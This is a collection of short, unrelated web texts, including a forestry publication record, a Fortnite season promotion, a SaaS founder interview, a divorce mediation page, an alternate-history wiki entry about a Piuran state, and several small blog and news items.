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Backburning as an Alternative to Traditional Pre-Commercial ThinningAuthor(s): Lloyd F. Thomas; Thomas A. Waldrop
Date: 1999
Source: Tree Farmer: The Practical Guide to Sustainable Forestry, May/June 1999
Publication Series: Miscellaneous Publication
PDF: Download Publication (155 KB)
DescriptionTwo studies--at the USDA Forestry Science Laboratories in Macon, Georgia, and Charleston, South Carolina - suggest that the cost of pre-commercial thinning can be reduced with low-intensity prescribed burning.
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CitationThomas, Lloyd F.; Waldrop, Thomas A. 1999. Backburning as an Alternative to Traditional Pre-Commercial Thinning. Tree Farmer: The Practical Guide to Sustainable Forestry, May/June 1999
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The eruption of the volcano forever changed some familiar locations. Now towers rise above the ashes. Gather a team and explore new places: as you, for example, Peely's Banana Stand and Nugget Hut? If you get tired of walking, try a quick move using the Air Vents and flying in and out of the new Slipstream wind transportation system.
Just go to one of the fans – and here you are in another building! And do not forget to go shopping at the Mega Mall. The main thing is to be in time before the start of the Storm. In the ninth season, the future is yours!
New Season – New Battle Pass
More than 100 new exclusive awards are waiting for you at the old price of 950 V-bucks. Along with the purchase this season, you will immediately receive upgraded equipment of the Sentinel Outfit and Rox progressive Outfit. Increase the level of combat passes and unlock new rewards: dual pickaxes, a robo kitty, flying disc toys, and more! At 100th level, you also get upgraded Vendetta gear.
Read more: Creative Competition World Cup
New in this Season's Battle Pass are Fortbytes! Use the clues and find caches on the island to help you unlock rewards and solve the riddles of the ninth season.
Creative mode
The future is in your hands! Use futuristic sets and create your own version of the New Towers. Soaring platforms allow you to build right in the air, which will please fans of jumping. New season, new city, new features!
Save The World
Lok claims that he met a strange, like the inhabitants of the Homebase has not yet seen. Join Ray and company in the new "Tales of Beyond" series of tasks, solve the riddle and get special heroes!
Gather a team, go to the main base and try out the new game mode "Wargames"! Fight in four unique simulations that will open in the Season 9.
Season 9 Asset Pack
Items from the ninth season have been added to the Fortnite community kit. It can be downloaded here and freely used in the work on their projects. Thank you for inspiring creativity based on Fortnite!
Have a good Battle Royale, fellas!

subset: commoncrawl


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Spiral is one of the most common and known patterns as it reflects the universal pattern of growth and evolution. Spiral forms can be found in the natural world: plants, minerals, animals, energy patterns, weather and in human physiology. Life is full of opportunities to evolve. Every time we learn, grow and develop we make changes and progress. It all starts from within. Artifacts in the spiral collection were inspired by what spiral symbolizes: the change, and the benefits of embracing change to grow and evolve.
Two symbols combined in a beautiful piece of jewel.
This jewel belongs to the Octagon collection.
Material & Size Details
The element of the pendant can be either in Sterling Silver or Gold plated 24K Brass.
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Read this tip to make your life smarter, better, faster and wiser. LifeTips is the place to go when you need to know about Tanning and other Beach topics.
In recent years, it has been proven that UVA and UVB rays, from the sun or from tanning lamps, can alter the DNA of skin cells and contribute to skin cancer. Also, these rays contribute to the aging process, creating wrinkles and the darkened patches of skin called sun spots. Still, though, people love their golden glow. While the self-tanning lotions of the 1970s and early 1980s often left users looking orange, modern tanning lotions create a natural-looking tan that you can have year-round while saving your skin from long-term damage. Cosmetic tanners, such as bronzing powders and creams, are make-ups that let you experiment and play with your glow on a day-to-day basis.
|Guru Spotlight
|Jolyn Wells-Moran


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The word 'awesome' has got to be of the most over-used words in our language. But the words above truly are an 'awesome' promise; and they come from the one person in the history of the world who knows what 'life to the full' really means.
A life where, more and more, we can;
Love the Lord with all our heart, mind, soul and strength. WORSHIP GOD
Love people more than we ever could in our own strength. LOVE OTHERS
Tell others about Jesus through words and serving. SHARE OUR FAITH
Follow Jesus knowing that eternal life has already begun! CELEBRATE LIFE
We are a community that with the Lord's help, seeks to live these out day by day.
We do it imperfectly but authentically; and our heart-felt desire is for others to experience the joy, the freedom and sense of personal identity that Jesus provides, regardless of their personal circumstances.
And if we can play even a small part in helping that happen for you… ….awesome!!
Hope to see you sometime.
Lee Dobson
Pastor: Nowra Church of Christ
Our Gatherings
Our Gatherings are:
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Happy Valentine's Day! The Queen of Cool Jody Watley is back with a new single that is giving us jazzy bossa nova vibes. The song is called "Waiting In Vain" and it was written and originally recorded by Bob Marley.
Jody originally covered this song for her 2006 album The Makeover. While that version was deep house mixed with lots of beats, this new version is sweet and easy. Jody's vocals are so smooth. Just have a listen ...
March 13 UPDATE: Jody has released the visual stunning video to "Waiting In Vain" and it is so beautiful. It really captures the mood. The description on YouTube says ...
The Damien Sandoval Film captures the elegance, mystique, style and romance of the song filmed in classic black and white as conceptualized by Jody Watley. "I've wanted to showcase a bit of tango dancing in one of my video's and this song and film provides the perfect setting."
Wasn't that lovely? Yes, it was. "Waiting In Vain" is available on digital outlets like iTunes and Amazon. We've added the song to our 2018 Poptastic Confessions Playlist on Spotify. You can also hear it below.
In a related topic, Jody Watley featuring SRL have a new remix of their 2016 song "The Mood." The new remix was done by Alex Di Ció and it has climbed to the top of the Solar Radio chart in the UK. Woo! Now, you might remember that "The Mood" was Poptastic Confessions #1 song of 2016. However, if you haven't downloaded the original mix, or the new remix, do it now! You can hear the new mix here.
Still a thrill,
P.S. Please like Jody's official Facebook page. You can also like SRL's official Facebook page. You can follow her on Twitter. And follow Jody and SRL on Twitter. Don't forget to bookmark her official website. And if all that wasn't enough, please like Poptastic Confessions Facebook page.


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Students sold homemade shortbread and cakes at Moyles Court history club's Poppy Appeal fundraising event, while others helped to organise a 'dummy grenade' throwing competition which brought out the competitive element in staff and students alike. A cheque for £135 will be sent off to the Royal British Legion along with a cardboard poppy signed by students, which will be displayed in a field of 'poppies' outside the Menin Gate in Ypres.
The fundraising continues with a raffle which will be drawn on 11 November. The prize is a genuine First World War Medal donated by Mr Penrose, head of boarding.
Headmaster, Greg Meakin said: "Our weekly history club continues to provide an excellent forum for the exchange and discussion of ideas for our pupils and our 'Evening with Alice Lisle' will focus attention on the fascinating heritage we have here at Moyles Court. I am immensely proud of the pupils' efforts and money raised for the Poppy Appeal."


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Although I've yet to achieve a full head of silver, I am beginning to realize that my notions on aging have begun to change. This seems to be happening in conjunction with the graying behind my temples and the gradually more frequent discovery of rogue, white strands hiding in my beard.
Somehow, it has become a part of my perception of aging that going gray is something to dread. That perspective may be rooted in childhood memories of my parents faces and the locks of family friends, having watched these people I literally looked up to begin to dimly glow from their heads even after dusk. Now, I'd say if one's mop transforms itself into a shimmer-in-the-dark type of bird's nest, then so it goes. That's how you'll know you've lived through struggle or simply walked through a less-than carefree life.
Unfortunately, I've lost most of my hair already, and the little I have left is starting to tell the tale of my past without any utterance on my part. Soon the salt will begin to win its battle with the pepper and that will be it! Maybe I don't fear this transition because of my early fondness for the comedy of Steve Martin or my juvenile attraction to a friend's buxom mother who began consistently frosting her hair at the first notice of a gray.
At its heart, I think the general "dismay at gray" for most comes not from the change in our superficial identity but the indication that the rest of the physiology stands on the edge of some wicked kind of tumble, an unstoppable, end-over-end plunge into a geriatric abyss with no hope of escape except by means of death.
It might be best to look to those who we regard to have aged gracefully - Paul Newman, for me, is one. He and Helen Mirren would make a lovely elderly couple, playing shuffleboard in slow motion, feathery, flickering locks waving in the breeze. For now, I'll choose to relish the debut of each new player in the drama between darkness and light that unfolds, daily and irreversibly, on my head.


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Model-Based Testing of Reactive Systems
Advanced Lectures
- Editors
- (view affiliations)
Part of the Lecture Notes in Computer Science book series (LNCS, volume 3472)
Part of the Lecture Notes in Computer Science book series (LNCS, volume 3472)
Testing is the primary hardware and software verification technique used by industry today. Usually, it is ad hoc, error prone, and very expensive. In recent years, however, many attempts have been made to develop more sophisticated formal testing methods. This coherent book provides an in-depth assessment of this emerging field, focusing on formal testing of reactive systems.
This book is based on a seminar held in Dagstuhl Castle, Germany, in January 2004. It presents 19 carefully reviewed and revised lectures given at the seminar in a well-balanced way ensuring competent complementary coverage of all relevant aspects. An appendix provides a glossary for model-based testing and basics on finite state machines and on labelled transition systems. The lectures are presented in topical sections on testing of finite state machines, testing of labelled transition systems, model-based test case generation, tools and case studies, standardized test notation and execution architectures, and beyond testing.


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Greetings All,
I'd like to share a fabulous e-mail that we received about Gratitude Month and it's effect on an instructor and school owner…Please forward us your best gratitude story for the month!
Jason M. Silverman
Hi Jason and Dr. Robyn,
I have a story for you! We did not actually celebrate Teacher Appreciation Week this year, but I did mention it to my classes on Monday and Tuesday. I recommended to the kids that this was a great time to show their gratitude to their favorite teachers with more than saying "Thank You."
On Thursday, I received a small rose plant and a hand-made card (by an almost 5 year-old) that said "Dear Ma'am, Thank you for teaching us." It was signed by all four members of the family that trains with us. Dad and older brother are advanced students, and mom and little brother are beginners. After the beginner class (while Dad and Big Bro were training) I noticed Mom and Little Bro working on an art project while they waited for the other two. Mom was telling the little guy how to spell "Dear Mr. Pete." Then I heard her say "well… what do you like to do with him?" When I walked over on a break, he had written on another home-made card "Dear Mr. Pete. Thank you for playing with me."
Thank you so much. I know what it meant to me to receive that hand-made card, and it's so amazing that because of our program, at least two other teachers got the same smile. It never ceases to amaze me how much *I* learn from the Word of the Month program.
Kristin C. Quintana
Owner, Chief Instructor
Filed under: Character Development Related, General, Martial Arts Ideas, Teaching Skills | Tagged: Appreciation, gratitude, martial arts, Powerful Words | Leave a comment »


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Copy is always the most important part of any marketing campaign. Pictures attract attention but unless you are Old Head or Pebble Beach, it's words that motivate people into action. Studies show that 95% of people who land on a web page will read the headline!
Whether they read anything else (such as your sales pitch) depends entirely on how good your headline is. Think of your headline as your ad for your sales copy!
The difference between a total flop and a Legendary Marketing campaign can often be a single sentence, sometimes just a few words. The stunning difference your headline can make to the success of any ad, letter, script, brochure, email or website cannot be overstated.
Few people outside of the very top echelon of direct marketing circles, including most ad agencies and copywriters, have any idea how to write compelling headlines.
Compelling headlines are the ones that actually get the reader to read your sales message and therefore, get to the part where they might choose to BUY YOUR PRODUCT or SERVICE! Such headlines alone can easily increase your response by 500 to 1000% or more!
Dead Before You Start
Instead of crafting compelling headlines, most people in the golf industry opt for headlines that are cute, catchy or very often, just a corny play on words. In the process, they throw millions of dollars down the drain because if your headline does not hook the reader right in, the rest of your message will NEVER GET READ!
I am truly shocked by the number of golf clubs that squander their most valuable website real estate with a headline like: "Welcome to Our Club!", or some cute and meaningless saying like "We Are A Hidden Gem!"
Use your headline to sell your strongest features:
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How about these impotent headlines from some major golf real estate developments, all spending millions on marketing:
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(Hmmm, I bet they have great service too?)
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(Three places are claiming that compelling distinction)
Use your headlines on every page of your website (and all your collateral) to motivate your reader to keep reading…
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Conference Brochure
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Hello friends!
Yeah, right. The I ❤ yous posts are officially back. This one is inspired by… guess what?! Christmas! (Surprise, surprise!) I know, I know. Let's not waste another minute and see what I've found this week:
1. I ❤ you, ornament DIY!
This is a very impressive and easy DIY. And that kind of DIYs are the best!
2. I ❤ you, christmas inspired cake.
Excuse me… but this is perfection, right?!
3. I ❤ you, backyard lanterns.
4. I ❤ you, christmas portraits.
I already shot my official christmas picture – without the boy because I needed it for my christmas cards… but I LOVE this idea!
5. I ❤ you, christmas wreath.
Because a) it blinks and b) it's just SO cool!
6. I ❤ you, christmas dogs.
Pretty cool – don't you think?
7. I ❤ you, christmas decoration!
I always choose pretty over kitchy when it comes to christmas. And this is SO pretty!
Hope you're already in the christmas mood? If not… this might help you feeling the christmas spirit:
Falalalala, love yous!


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Food Moves is an application designed to make mobile food easier to find and to create an overall better experience for the vendors and consumers. They are focused on helping the mobile food industry including food trucks, farmers markets, and food stands. The Food Moves app allows you to find any mobile vendor in your area and to search for your favorites to find where they are at any given moment.
The vendor side of the app provides helpful tools to help these businesses market efficiently to the consumers and provides clarity to everyone involved. Food Moves is also working with multiple supplying companies like battery providers that focus on replacing loud, unconventional generators with solar powered batteries to improve the food truck business even further!
You can join Food Moves now on iOS and Android to connect with 180 food vendors in New York, Austin, and Philadelphia. You can learn more about this app by going to their website.
Scott is a developer who has worked on projects of varying sizes, including all of the PLuGHiTz Corporation properties. He is also known in the gaming world for his time supporting the DDR community, through DDRLover and hosting tournaments throughout the Tampa Bar Area. Currently, when he is not working on software projects or hosting F5 Live: Refreshing Technology, Scott can often be found returning to his high school days working with the Foundation for Inspiration and Recognition of Science and Technology (FIRST), mentoring teams and judging engineering notebooks at competitions. He has also helped found a student software learning group, the ASCII Warriors.
Daniele is a student at Florida Polytechnic University who is studying Computer Science with a concentration in Cyber Security. In High School, she was introduced to the science and technology world through the Foundation for Inspiration and Recognition of Science and Technology (FIRST), a robotics foundation where students of varying ages can compete through tasks that their robots perform. With help from mentors she met through FIRST, she became interested in programming and developing. Today, Daniele is a special events host for F5 Live: Refreshing Technology and PLuGHiTz Live Special Events and a co-host for both The New Product Launchpad and FIRST Looks.


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An Interview With Mitch Russo
Test early and iterate! Moving super fast is not usually the answer, even though it feels like everyone is trying to run toward a product, it is better to test and put something live into the space to see how people react to it. That is where a lot of the best direction and discovery comes from.
As part of my series about the "5 Lessons I Learned When I Created My App or SAAS", I had the pleasure of interviewing Matt Lhoumeau. Matt is the founder and CEO of Concord, the contract lifecycle management platform. Concord is the third company that Matt has founded in his diverse career which, among many other things, saw him create one of Europe's largest video game sites and spend a year working for the former French President Nicolas Sarkozy.
Thank you so much for joining us! Our readers would love to "get to know you" a bit better. Can you tell us a bit about your 'backstory' and how you got started?
I started my first company when I was 17. The Fourth Coming, was a multi-player gaming community that I was able to sell to Orange, one of the largest telecom companies in the world. The entrepreneurial bug has been with me ever since.
What was the "Aha Moment" that led you to think of the idea for your current company? Can you share that story with us?
While I was working with the CEO of Iliad, a holding company in integrated telecommunications, one task I was given was to re-negotiate 500 contracts. At first, I was first excited by the challenge, but then I entered six grueling months of contract hell.
This entailed creating a massive spreadsheet because there was no platform to help organize the contract management process. It took one month just to find all the contracts. You might think that all your contracts are in a folder or filing cabinet, but that is just not the case 99% of the time. Some are kept in filing cabinets, some are in different departments, and others you have to individually reach out to the vendors for copies to get faxed or mailed to you. Then, I spent a month reading all the contracts one by one to understand what we agreed at the time, and obviously, we realized that we had really missed a lot of deadlines and lost a lot of money because of this. And then I spent four months sending Word documents back and forth to hundreds of people — our legal team, our lawyers, our vendors — to negotiate all these contracts. It was a nightmare.
It seemed like people were never working on the right version of the document. They forget they have something to approve in their inbox and it takes two, three or four weeks — or longer — sometimes. I was coming home every single night asking myself: "Why are we doing this? Why are we managing contracts manually despite being a billion-dollar revenue company? There has to be a better way, right?" And that's why I built Concord.
Can you tell us a story about the hard times that you faced when you first started your journey? Did you ever consider giving up? Where did you get the drive to continue even though things were so hard?
In the early days, back when my cofounder Florian Parain and I were still in France, we were not making any money. Two of my former bosses reached out to me to offer these great jobs with salaries. It was so tempting to work for these amazing people and companies and have the security of a guaranteed income. For a few days I labored over my options, but then I realized something that made it really clear to me. What I realized was, I don't want to work for anyone anymore. Being an entrepreneur affords me a type of self-reliance and challenge that I thrive on.
When it came time for me to call both of my previous bosses to turn down their offers, I actually asked if they would like to be advisors of my new company and they both agreed.
So, how are things going today? How did your grit and resilience lead to your eventual success?
Things are growing fast. We have seen 80% customer growth in the last six months alone. It is very rewarding to see the rapid adoption of our platform because there were times that we might have given up on the project.
The first platform that we built while we were still working back in France eventually failed. It was just a document repository and didn't solve the major pain points, but we built a good platform. We knew it was a great start but no one would use it without other functions to increase the value to a client. This was no solution and the best solution is to remove the problem entirely.
So, after the failure of our first company, we had a better idea of how to tackle the problem. We needed the first three years of looking at the problem too narrowly to develop the perspective, resilience, and grit that we have today. It's not about the idea that you have at first, it's about working on something until you find the solution.
Can you share a story about the funniest mistake you made when you were first starting? Can you tell us what lessons or 'takeaways' you learned from that?
When we started our first company in France, we were looking for names that we could also license as web domains. We landed on Contract.fm, which seemed like a workable solution — but then everyone thought we were a radio station. Sometimes when you are trying to get things done when you are a little too bleary-eyed and close to the project, you end up running into mistakes like this. We learned that it might be best to run front-facing content by a few more eyes before you pay for domain fees. At least it was a relatively inexpensive and fixable misstep.
What do you think makes your company stand out? Can you share a story?
Simplicity. We know how cumbersome contracts can be and we wanted the platform to strip away the clutter and make it very clear what was needed, and when. To effectively do that, we actively remove features and buttons rather than adding them. It is counterintuitive but our users have thanked us for making it feel less overwhelming. A lot of people comment that our interface is as easy and instinctive to use as email.
Which tips would you recommend to your colleagues in your industry to help them to thrive and not "burn out"?
They will burn out. Accept it. I've burned out many times. When you put so much time into something, it will, one day, go too far. The trick is to be able to spot the cycle and learn from past actions. Hopefully, you will learn how to slow down before the burnout after you've done it a few times. That is also why you build a strong team. So you can lean on others to get the job done. And, if you need time to recover you can take that time, and they are there to pick up from where you left off.
None of us are able to achieve success without some help along the way. Is there a particular person who you are grateful towards who helped get you to where you are? Can you share a story?
Emmanuelle Mignon (former Chief of Staff of French President Nicolas Sarkozy) with whom I worked for one year. She taught me everything when it comes to efficiency and thought processes. She was the one to tell me that in life you have two options: you can have a small impact on big topics, or a big impact on small topics. In politics, you have a small impact on big topics. I had this discussion with her and it changed how I thought about my career. It was about the change and impact you wanted to make and it helped me identify that I didn't want to be in politics as much as I wanted to start a company and drill down into making a big impact on a very specific space.
Ok, thank you for all that. Now let's shift to the main focus of this interview. Approximately how many users or subscribers does your app or software currently have? Can you share with our readers three of the main steps you've taken to build such a large community?
Currently, we have more than 300,000 users on our platform.
- Build an awesome product people actually want to use.
- Build features to encourage users to share naturally documents. This was key. You have to make it intuitive. People are familiar with the ease of sharing things via email so we wanted to build our system to have similar ease.
- Give it time. The network effect amplifies over time. Much of our growth has been one company administrator telling others that they use Concord and how simple it was to implement. The cross-pollination of founders and employees in areas such as Silicon Valley has really helped us with rapid adoption.
What is your monetization model? How do you monetize your community of users? Have you considered other monetization options? Why did you not use those?
We charge by user for smaller companies and projects and we offer unlimited-user options for larger companies. We chose this pricing model for simplicity, just like the technology itself. We experimented with a pay-by-contract model, which would be helpful to some users but it didn't create the ecosystem needed to encourage all your contracts to go onto Concord. With a pay-per-contract model, we were disincentivizing the solution we were trying to build, so we removed it. The price-per-user model also allowed companies to better budget this as a line item and gave them the control they were looking for in a contract lifecycle management platform.
Based on your experience and success, what are the five most important things one should know before one wants to start an app or a SaaS? Please share a story or an example for each.
- Focus on one market, one language, one currency. That is to say, be very clear with your focus. If you hone in a clear vision you avoid losing time understanding different markets and can really tackle a problem head-on.
- Fall in love with the problem, not the solution. Our vision is to change how contracts are managed. If all we wanted was a fix, we would just build a SaaS platform and stop, the vision is what keeps us going and thinking about how to evolve with our clients and their needs.
- Test early and iterate! Moving super fast is not usually the answer, even though it feels like everyone is trying to run toward a product, it is better to test and put something live into the space to see how people react to it. That is where a lot of the best direction and discovery comes from.
- There is no such thing as the killer feature that will change everything. The truth is no, it's not about doing one thing really well, it's about doing many things well and building a fantastic product/platform that solves a problem in the ecosystem.
- If you do B2B SaaS, do not underestimate the investment needed for admin features — including access rights, security, etc. People always think about the features of the product but don't think about the users and the company that needs to manage and administer your solution. If your product doesn't work for the people in purchasing and management roles, you are not set up for success.
You are a person of great influence. If you could start a movement that would bring the most amount of good to the most amount of people, what would that be? You never know what your idea can trigger. 🙂
Homelessness. It hits close to home. I've experienced it personally and believe wholeheartedly that one should not have to sleep outside. It is a disgrace to our modern society that this isn't just a reality, but a growing one at that. I have put time and resources to support causes that help others get access to the services needed to help those experiencing homelessness.
It also fueled the incentives we have at my company to give back. At Concord, we have a Volunteer Time Off (VTO) program that offers each employee a week additional time off each year to pursue volunteer interests. This can be done cumulatively or on a one-off basis in order to give back to the community. I want our employees to be able to pursue the causes they connect with personally, just as I have over the years.
How can our readers follow you on social media?
This was very inspiring. Thank you so much for joining us!
"5 Things You Should Do To Create A Successful App or SAAS" with Matt Lhoumeau was originally published in Authority Magazine on Medium, where people are continuing the conversation by highlighting and responding to this story.


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Your Divorce Without Court can begin today – Contact Us
Schedule our easy 3-Step Divorce Without Court assessment process.
During this 3-step assessment, I'll listen to your story, help you understand your situation better, clarify your divorce options, and explore whether Divorce Without Court is your best option.
Call (email or text) us for more information, or better yet: schedule a free 20-minute individual telephone consultation.
Schedule your free 20-minute individual telephone consultation
Ask your spouse to contact us (call, email or text) us for more information, or better yet: schedule a free 20-minute individual telephone consultation. We can coach you through this sometimes difficult conversation.
We prefer each spouse to contact us individually, so I know the process begins on an even footing, and to confirm that both are open to the possibility of participating in Divorce Without Court with IPennLaw. Remember – we'll neutral, we don't take sides.
The last step of the assessment process is our Divorce Without Court Conference.
Generally, we will contact both spouses to schedule a 1.5 to 2-hour conference (in person or via video conferencing). Fee: $500.00 ($250.00 per spouse).
During the Initial Divorce Without Court Conference,
- you and your spouse will learn about the Divorce Without Court mediation process;
- you'll find out what to expect from beginning-to-end;
- we'll discuss the fees involved; and
- I'll answer your questions.
By the end of our conference, I will have had the opportunity to get to know each spouse a little more and I'll have a basic understanding of each spouse's perspective of the issues involved in divorce.
And you will have had an experience of working with me, that will help your decide whether I'm the right guide for your journey through your divorce.
My Guarantee
If you are not fully satisfied within the first 30 minutes of your Initial Divorce Without Court Conference, you won't be charged a penny; your entire assessment fee will be refunded to you.
We are also very flexible.
Some divorcing couples prefer all meetings to be separately. Sometimes it's because of different time preferences or schedules. And sometimes divorcing couples prefer not to be in the same room (or on the same video conference).
Our Divorce Without Court packages can be custom tailored to fit your preferences and we can structure your Divorce Without Court process so it works best for both of you.
It's essential for both spouses to attend an Initial Divorce Without Court Conference. Your mediation process will always be faster, less expensive and more successful, when both spouses are willing to fully participate during the entire process.
"Willingness" is the key. I will provide a safe environment for everyone to be successful. That's my part. Your part is to show up and participate.
A clear picture of everyone's personal objectives makes all the difference.
Together, we co-create a step-by-step comprehensive and stress-free plan to follow towards your stated goals.
Still asking the question: Is Divorce Without Court right for me (us)?
After 30+ years of experience; I can assure you, a mediated (negotiated) divorce is almost always the best choice.
- Less Cost – Your financial and emotional, and the cost to all involved and affected by your divorce, will be much lower.
- More Control – You will be deciding what the outcome of your divorce looks like and how that will impact your future, not a judge or jury.
- Faster – Your mediated divorce can end in months, not drag out for years.
- More Final – Mediated Divorce Settlements are less likely to need to go to court to revisit resolved issues for court enforcement or other court action years down the road.
If you (or your spouse) are still on the fence, call us for more information about the divorce mediation process or about me as your divorce mediator.
We can help you with your next Divorce Without Court step.
If you both believe mediation is a possible option for you, we can schedule your Initial Divorce Without Court Conference (with My Guarantee).
Schedule your free 20-minute individual telephone consultation
Generally, we will contact both spouses to schedule a 1.5 to 2-hour conference (in person or via video conferencing). However, if you both believe this might be a good direction, either spouse can start the conference scheduling process at any time.
IPennLaw - Our Office
IPennLaw | Divorce Mediation
Irven B. Penn, Esq.


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|"Piulay Sigo (皮烏拉詩歌)"
(and largest city)
|Spanish, Chinese
|Piuran, Piurano (not to be confused with Peruano), Piurense
|Presidential Republic, de facto Puppet State of Ecuador
|Eugenio Chang Cruz
|1,285,216 km²
|2,614,000 (2000 estimate)
|Sucre Republicana
Piura region did not experience any separatist movements until after Doomsday. Piura was notably the third Spanish city founded on the South American continent, giving rise to a stunning mestizo culture, featuring a unique gastronomy and culture. Following Doomsday, thousands of upper-class and middle-class Chinese migrated into Peru, searching for better life than in devastated China. An estimated 7,000 to 10,000 migrated to the area around Piura via the ports of Paita and Talara. Many joined the existing Chinese community, leading to the creation of a Chinatown in the city centre. These Chinese were already wealthy, and despite having to trade in their Renminbi, patacas, and Hong Kong dollars at low prices, they were able to establish a good quality of life. In order to do this, many built expensive houses on the city's outskirts.
By 1995, a group of Chinese known as Kwong Tam Tong had gathered economic power by monopolizing the chifa (Chinese Peruvian restaurant) industry, and exercising economic control of the city politically. This was accomplished by hiring Chinese and indigenous workers to work for low pay, and making deals with other Peruvian corporations. Left-wing Chinese politicians used the opportunity to gain support in Piura, and slanting the Asian Peruvian vote away from the right-wing policies of Alberto Fujimori. This was due in part to Piura's outlying location in relation to the rest of Peru.
In 1997, with the beginning of the Andean Conflict and civil war, Chinese residents of Piura tried to avoid persecution by the Tupac Amaru Revolutionary Movement by declaring itself against the Fujimori administration. Ecuador, sensing this political change secretly encouraged Piuran professor Eugenio Chang Cruz to lead a rebellion against the Peruvian government. Kwong Tam Tong was renamed the Piuran Workers' Party, and began recruiting supporters of Alan García, Mario Vargas Llosa, and other opponents to Fujimori. The PWP entered the Andean conflict against the Peruvian government in early 1998.
By 1 March 1998, the PWP controlled several hectares of land, and proceeded to declare independence. Although most disapproved of the new Chinese-ruled state, the lower classes felt that it was their only hope to prevent terrorism. In addition, the Chinese upper-class formed the backbone of the Piuran economy and if they collapsed, so would their livelihood. Most opposition came from the middle-class and upper-class mestizos and Europeans. They offered severe resistance in outside the city, and impeded Piura's growth outside a few small areas of control. The Peruvian government was busy fighting in other ares, but this did not stop them from sending troops to Piura, which prevented the Piurans from entering cities such as Chiclayo. Juan Briones Dávila, the leader of the Directorate Against Terrorism, did not wish to lash out for fear of killing innocent people, and decided to exercise restraint.
Piura had a large amount of support from nearby Asian communities. By mid-1998, Piura's territory was comprised of many cities along the northern Peruvian coast. The Piurans used military strength to force local officials out of their governments, and holding them hostage in various locations, which included salt flats, remote villages near the Ecuadorian border, and the island of Isla Lobos de la Tierra.
However, once the situation with Ecuador was partially resolved, and Peru and Ecuador agreed to a ceasefire, Peru launched a major invasion of Piura. Fighting continued in the city for months until the Peruvian Armed Forces managed to capture Eugenio Chang Cruz in a local chifa. Abdalá Bucáram, the president involved in the secret deals with Piura, was removed from office, and thus conflicts halted almost immediately due to a lack of power structure. The government of Piura was dismantled and the politicians involved were imprisoned or faded into austerity.
Since the Andean Conflict, Piura as a city has reborn out of the ashes, becoming a major economic centre for Northern Peru. The Chinese community still exists, but has become more politically moderate. President Marta Chávez granted official pardon to many formerly involved in the government of Piura on the grounds that it was out of wartime chaos that they chose to side with Piura.
Piura had a rich mestizo culture prior to Chinese arrival, composed of traditions from the Mochicans and Quechuas mixed with that of the Spanish. The city has produced unique forms of dance. Coastal Peruvian Spanish is the most commonly spoken language, although many words have been borrowed from Quechua, the language of the Incas. Roman Catholicism is the most common religion, practiced by the vast majority of non-Chinese. The most famous and distinct characteristic of Piura is its gastronomy, including seco de chabelo, algarrobina-based drinks, many types of seafood and fish, and Natilla Sweets. The most famous handicraft from the city is its Chulucana Pottery.
The first Chinese arrived as early as the mid-19th century, and continued to form a small part of the population up until today. Many Chinese today are of mixed descent. Chinese people never formed a plurality in Piura, making up only about 25% of the population of the city proper. However, they imposed a degree of economic control which is reflected in the many Chinese-owned restaurants. Chinese culture has not penetrated deeply into the lives of mestizos, Amerindians, and other groups. Many Chinese are beginning to adopt the Spanish language despite the percentage that speak Chinese. Many Chinese adopted Roman Catholicism, but a significant minority continued to hold to Buddhism and traditional Chinese beliefs. The Chinese members of the government did not make an attempt to force Chinese culture on others simply because it was too foreign, instead supporting the Spanish language and Roman Catholicism.
Government and Politics
Eugenio Chang Cruz managed to set up a non-functional presidential republic based on the former government of Peru. Eugenio Chang Cruz was "elected" president and under him he appointed a cabinet and a "Republican Senate." Most of the government members had connections to Chang somehow, due to his lack of being able to run successful elections. This was mostly in part to the lack of recognition for the military state. Of the 32 members of the Republican Senate, 11 were at least part Chinese. In reality however, the Republican Senate was powerless, and the real power lied in the hands of Chang and members of the Piuran Workers' Party and military. The only elections that took place during Piura's existence featured 182 votes, unanimously in favour of Chang, leading to obvious questions on the legitimacy of Chang's administration.
Piura's economy that was regulated by the Piuran Workers' Party was based primarily on the trade of weapons, Chinese restaurants, salt, and some forms of light industry, leading to a decline in GDP. Today, Piura has sometimes been considered among the richest regions of Peru for land quality due to the potential for agriculture, tourism, mining (fossil fuels and metals), and agriculture. It also exports crude oil through the port of Talara. However, a large part of the population still lives in poverty. Piura has openly sought foreign investment, which has come from the Celtic Union, Chile, Mexico, Argentina, and Brazil. Piura's forest has a high potential for growing crops such as rice, which has rapidly become the most commonly grown crop in Piura. Several dams have been constructed inland to facilitate growth.
International Relations
Piura did not generally make contacts to nations outside Ecuador. Piura communicated mostly to other separatists and socialist movements, such as the Tupac Amaru Revolutionary Movement, and various etnocacerista (ethnic nationalist) groups in the Andes. On one occasion, Chang sent diplomacy requests to the governments of the Jiangsu and the remnants of the rogue government of Hong Kong under Lau Wong-fat. However, both requests were rejected almost immediately. This was mainly because Piura did not offer any promising investments or political value.


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Of all the retiring stamp sets, this is probably the one I'll miss the most - "Wild About You." Before sending it off to happy retirement, I just had to ink up once again. This time I used the lion and stamped him three times with different ink colors. Then I cut out his mane and face and layered each on the original image to create some dimension. Here's a close up:
He may be King of the Jungle, but he's a cutie in my book!
Stamps: Wild About You, Sanded
Cardstock: Creamy Caramel, Chocolate Chip, Tangerine Tango, Whisper White
Ink: Creamy Caramel, Close to Coco, Tangerine Tango
Accessories: Tangerine Tango striped grosgrain ribbon, stamp-a-ma-jig, stampin' dimensionals


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Morison Industries closes application for N502.2m rights issue
Morison Industries Plc at the weekend closed the application list for its rights issue. The company had launched a new capital raising for about N502.2 million in new equity funds through new share sale to existing shareholders.
Morison Industries offered a rights issue of 836.98 million ordinary shares of 50 Kobo each at 60 Kobo per share on the basis of 11 new ordinary shares for every two ordinary shares of 50 Kobo held as at August 25, 2017.
The board of directors of the healthcare company had appointed GTI Securities Limited as the stockbroker to handle the supplementary share issuance while GTI Capital Limited will be the issuing house. Both GTI Securities and GTI Capital are members of the GTI Capital Group, a leading financial services group, which owns the largest private trading floor in the Sub Saharan Africa (SSA).Morison Investment Limited, United Kingdom (UK), holds 40 per cent equity in Morison Industries while Nigerian investors hold the remaining 60 per cent. Morison Industries was incorporated in Nigeria in June 1955.
Morison Industries is engaged in the production and marketing of pharmaceuticals, hygiene products and the importation and distribution of medical, surgical and hospital equipment, instruments and consumables.
The company also provides its production facilities to third party for contract manufacturing arrangements.


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Try using quotes to search for an exact phrase, for example: "child benefit".
Share on:
Social security law and tax credit law can change from day to day and advisers need to keep abreast of developments to advise their clients correctly. Arranged under topic headings and concentrating on caselaw, this essential one-day course looks at the most important changes in benefit and tax credits law from the previous six months.
The course covers:
• Decisions of the High Court, Court of Appeal, Court of Session and Supreme Court, as well as the European Court of Justice and European Court of Human Rights
